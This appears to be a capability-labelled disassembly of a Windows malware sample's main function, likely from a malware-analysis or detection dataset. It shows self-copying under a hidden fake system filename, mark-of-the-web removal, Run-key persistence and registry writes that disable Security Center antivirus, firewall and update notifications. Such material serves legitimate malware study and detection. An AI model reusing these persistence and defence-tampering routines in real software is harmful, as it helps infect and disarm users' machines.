Function at 0x405980
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc04
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4123d8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa3c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4059be
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x412da8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x412da8
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x412da8
push str._s:Zone.Identifier
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0xa38]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xbd4], str.wudsvsmgr.exe
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0xbd8], eax
mov ecx, dword [ebp - 0xbd8]
mov dx, word [ecx]
mov word [ebp - 0xbda], dx
mov eax, dword [ebp - 0xbd4]
cmp dx, word [eax]
jne 0x405aaf
cmp word [ebp - 0xbda], 0
je 0x405aa3
mov ecx, dword [ebp - 0xbd8]
mov dx, word [ecx + 2]
mov word [ebp - 0xbdc], dx
mov eax, dword [ebp - 0xbd4]
cmp dx, word [eax + 2]
jne 0x405aaf
add dword [ebp - 0xbd8], 4
add dword [ebp - 0xbd4], 4
cmp word [ebp - 0xbdc], 0
jne 0x405a49
mov dword [ebp - 0xbe0], 0
jmp 0x405aba
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0xbe0], ecx
mov edx, dword [ebp - 0xbe0]
mov dword [ebp - 0xbe4], edx
cmp dword [ebp - 0xbe4], 0
je 0x405d36
call fcn.0040cbf0
movzx eax, al
cmp eax, 1
jne 0x405ae8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea ecx, [ebp - 0x830]
push ecx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x4123e0
lea edx, [ebp - 0x830]
push edx
push 0x4101c4
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x628]
push ecx
push 0x412da8
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x405c15
push 3
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x41c]
push eax
push 0x20006
push 0
push 0x4101d0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405bf6
lea ecx, [ebp - 0x628]
mov dword [ebp - 0xbe8], ecx
mov edx, dword [ebp - 0xbe8]
add edx, 2
mov dword [ebp - 0xbec], edx
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax]
mov word [ebp - 0xbee], cx
add dword [ebp - 0xbe8], 2
cmp word [ebp - 0xbee], 0
jne 0x405b8c
mov edx, dword [ebp - 0xbe8]
sub edx, dword [ebp - 0xbec]
sar edx, 1
mov dword [ebp - 0xbf4], edx
mov eax, dword [ebp - 0xbf4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x628]
push edx
push 1
push 0
push 0x412400
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x628]
push edx
call fcn.0040ce90
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x405c15
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4123e0
lea ecx, [ebp - 0xa38]
push ecx
push 0x410230
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x418]
push eax
push 0x412da8
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x405d36
push 3
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x41c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405d17
lea eax, [ebp - 0x418]
mov dword [ebp - 0xbf8], eax
mov ecx, dword [ebp - 0xbf8]
add ecx, 2
mov dword [ebp - 0xbfc], ecx
mov edx, dword [ebp - 0xbf8]
mov ax, word [edx]
mov word [ebp - 0xbfe], ax
add dword [ebp - 0xbf8], 2
cmp word [ebp - 0xbfe], 0
jne 0x405cad
mov ecx, dword [ebp - 0xbf8]
sub ecx, dword [ebp - 0xbfc]
sar ecx, 1
mov dword [ebp - 0xc04], ecx
mov edx, dword [ebp - 0xc04]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x418]
push ecx
push 1
push 0
push 0x412400
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x418]
push ecx
call fcn.0040ce90
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x405d36
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x41c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405e4d
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x4102c0
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4102d4
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x4102ec
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x410300
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x410314
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x41032c
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x41033c
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x41c]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405f59
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.FirewallOverride
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallDisableNotify
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiSpywareOverride
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiVirusOverride
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusDisableNotify
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.UpdatesOverride
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesDisableNotify
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040abf0
movzx edx, al
test edx, edx
je 0x4060c3
lea eax, [ebp - 0xbd0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [ebp - 0xa38]
push ecx
push str._s_nodesinfo.dat
push 0x412fb8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0xa38]
push edx
push str._scmdinfo.dat
push 0x412998
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x403fa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405050
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004041a0
call fcn.0040cb20
call fcn.00405750
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x4131dc], eax
call fcn.0040a320
mov dword [0x4131e4], eax
call fcn.0040b5f0
mov dword [0x4131e0], eax
call fcn.00409770
push 0
push 0
push 0
push 0x40bab0
push 0
mov eax, dword [0x4131e0]
push eax
call fcn.0040b6a0
add esp, 0x18
push 0
push 0
push 0
push 0x40ba10
push 0
mov ecx, dword [0x4131e0]
push ecx
call fcn.0040b6a0
add esp, 0x18
push 0
push 0
push 0
push 0x40b5a0
push 0
mov edx, dword [0x4131e0]
push edx
call fcn.0040b6a0
add esp, 0x18
push 0
push 0
push 0
push 0x40b3a0
push 0
mov eax, dword [0x4131e0]
push eax
call fcn.0040b6a0
add esp, 0x18
jmp 0x4060c7
xor eax, eax
mov esp, ebp
pop ebp
ret